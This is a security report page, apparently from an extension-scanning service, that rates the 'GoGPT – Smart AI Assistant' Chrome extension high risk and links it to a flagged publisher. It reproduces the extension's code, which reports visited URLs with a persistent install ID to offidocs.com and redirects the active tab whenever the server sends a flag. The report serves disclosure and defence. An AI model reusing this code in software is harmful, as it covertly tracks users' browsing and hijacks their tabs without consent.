Is GoGPT – Smart AI Assistant safe?

High risk

GoGPT monitors every page you visit and can silently redirect your active tab based on a remote command.

GoGPT's background service worker watches every top-level page navigation in the browser and, for URLs matching a keyword list it fetches from its own server, sends the visited URL along with a persistent per-install tracking ID to that server. If the server's response contains a specific flag, the extension redirects whatever tab you're currently viewing to a vendor-controlled page, with no prompt or user action involved.

Strong link to a flagged operator: 14 of the 19 other listings from the same operator are rated high or critical for malicious behavior. Flagged: X-Audacity (high), Gimp Online (high), Inkscape (high).

officeonlinesystemsv1.2.1Chrome Web Store
75Risk
Who publishes it

officeonlinesystems - 19 other listings from the same operator, 16 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
officeonlinesystems

Same store account

19 other listings published from this account, 1.7M+ users between them. 16 of them carry a finding.

X-Audacity700k+HighGimp Online400k+HighPDF editor online100k+HighInkscape100k+HighXLS Editor80k+HighLibreOffice Editor50k+High13 more listings in the relationship graph, on paid plans →

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

GoGPT reports pages you visit to a remote list-matched endpoint

Code analysis shows the background worker checks every top-level navigation on every site against a keyword list fetched from the vendor's server, then sends the encoded page URL and a per-install ID to the vendor's backend on a match.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You navigate the active tab to a URL that contains a keyword from a list the extension fetched from its own server.

The check runs on every top-level navigation to every site, since the listener matches virtually any hostname.

The extension did this

The extension hex-encodes the full navigated URL together with a persistent per-install ID and sends it to the vendor's backend.

The ID is generated once on first run and stored permanently, so every report ties back to the same install.

When this fires

Every 58 minutes

The keyword list used to decide which navigated URLs get reported is refetched from the vendor's server roughly every 58 minutes, and every top-level navigation in between is checked against the cached copy.

Fields sent in the report request
  • Page URL you visited
    68747470733a2f2f6578616d706c652e636f6d2f7265706f72742e646f63787c7c7c7878

    The full address of the page you navigated to, hex-encoded before being sent.

  • Install ID
    gogptsettings=k3f9pxqz2a

    A random ID generated once and stored forever, letting the vendor tie every report back to your specific install.

The code that does this

Navigation listener and outbound report function

Readable version

Navigation listener: keyword-list refresh and match check

websecure.js:28-88
chrome.webNavigation.onCommitted.addListener(function(gptinfo) {    // check to enrigh context    const url = "https://www.offidocs.com/media/system/app/gogpt-filetypes-list.php";    const gptypesinfo = "gpttypesinfo";    const gpttypestime = "gpttypestime";    const now = Date.now();    chrome.storage.local.get([gpttypestime], function (result) {        gpttypestimex = 0;        if ( result[gpttypestime]  ) {            gpttypestimex = result[gpttypestime];        } else {            gpttypestimex = 0;        }        if (now - gpttypestimex < 3500000) {   return;}        fetch(url)            .then(response => response.text())            .then(info => {                chrome.storage.local.set({                    [gptypesinfo]: info,                    [gpttypestime]: now                }, function () {                    console.log("GPT updated:", info);                });            })            .catch(error => console.error("Error fetching GPT:", error));    });    if ( gptinfo && gptinfo.url )  {        if (gptinfo.frameId !== 0) {  return; }        if ( gptinfo.transitionType &&   ( gptinfo.transitionType.indexOf("frame") <= 0 ) ) {            actual =  gptinfo.url;            chrome.storage.local.get("migogpt", function (info) {                if (info.migogpt === false || info.migogpt === "0") {                    return;                } else {                    chrome.storage.local.get("gpttypesinfo", function (result) {                        console.log(result);                        if (!result.gpttypesinfo) {                            return;                        }                        let info = result.gpttypesinfo.trim();                        if (info.startsWith("<xml>") && info.endsWith("</xml>")) {                            info = info.substring(5, info.length - 6);                        }                        const gpofftypes = info.split(";").map(item => item.trim()).filter(item => item.length > 0);                        for (const kw of gpofftypes) {                            if (actual.includes(kw)) {                                checkgpt(actual + "|||xx", gogptsettings);                                return;                            }                        }                    });                }            });         }    }}, { url: [{ hostContains: '.'  }], });

b2hex() and checkgpt() report function

websecure.js:13-22,102-113
function b2hex (bin){  var i = 0, l = bin.length, chr, hex = ''  for (i; i < l; ++i)  {    chr = bin.charCodeAt(i).toString(16)    hex += chr.length < 2 ? '0' + chr : chr  }  return hex}async function checkgpt(actualx, gogptsettings) {    let rsck = await fetch('https://www.offidocs.com/media/system/app/validatethecontextfromweb.php?filepath=' + b2hex(actualx) + '&hex=1&gogptsettings=' + gogptsettings);    if (rsck.status === 200) {        let dck = await rsck.text();        var rs2 = dck;        if ( rs2.indexOf("1302") !== -1 )   {            var newgpt = 'https://www.offidocs.com/media/system/app/confirmthecontextfromweb.php?filepath=' + b2hex(actualx) + '&hex=1&gogptsettings=' + gogptsettings;            chrome.tabs.update(chrome.tabs.getCurrent().id, {url: newgpt});        }    }}
Host receiving the report
    • www.offidocs.com

    The vendor's own backend. Serves the keyword list that decides which navigated URLs get reported, and receives the hex-encoded URL plus the persistent per-install ID on a match.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

A server flag can redirect your active tab with no click

Code analysis shows that after the extension reports a visited URL, it changes the active tab's address to a vendor-controlled offidocs.com page whenever the vendor's server response contains a specific flag string, with no click or prompt.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

The vendor's backend responds to the URL report (see the sibling finding) with a body containing the string "1302".

This condition is decided entirely server-side; nothing in the extension's own code determines when it fires.

The extension did this

The extension changes your active tab's address to a vendor-controlled offidocs.com URL, with no click or confirmation prompt.

The redirect target still carries the hex-encoded original URL and your persistent install ID as query parameters.

Fields carried into the redirect URL
  • Redirect destination
    https://www.offidocs.com/media/system/app/confirmthecontextfromweb.php?filepath=<hex>&hex=1&gogptsettings=k3f9pxqz2a

    The page your active tab is sent to. Its content is fully controlled by the vendor's server.

  • Original page URL
    68747470733a2f2f6578616d706c652e636f6d2f7265706f72742e646f63787c7c7c7878

    The hex-encoded address of the page you were on, carried from the report request into the redirect target.

  • Install ID
    gogptsettings=k3f9pxqz2a

    Your persistent per-install ID, so the vendor knows exactly which install was redirected.

The code that does this

Server-flag check and tab redirect

Readable version

checkgpt(): flag check and chrome.tabs.update redirect

websecure.js:102-113
async function checkgpt(actualx, gogptsettings) {    let rsck = await fetch('https://www.offidocs.com/media/system/app/validatethecontextfromweb.php?filepath=' + b2hex(actualx) + '&hex=1&gogptsettings=' + gogptsettings);    if (rsck.status === 200) {        let dck = await rsck.text();        var rs2 = dck;        if ( rs2.indexOf("1302") !== -1 )   {            var newgpt = 'https://www.offidocs.com/media/system/app/confirmthecontextfromweb.php?filepath=' + b2hex(actualx) + '&hex=1&gogptsettings=' + gogptsettings;            chrome.tabs.update(chrome.tabs.getCurrent().id, {url: newgpt});        }    }}
Host controlling the redirect
    • www.offidocs.com

    Decides server-side, via the '1302' response flag, whether to redirect your active tab, and hosts the page your tab is sent to.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed GoGPT – Smart AI Assistant contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.offidocs.com

    GoGPT – Smart AI Assistant sends data to www.offidocs.com. 14 other extensions we have analyzed send data here.

Updated 15 October 2026hiiaonnfhekafkanackhfpkjnclmplad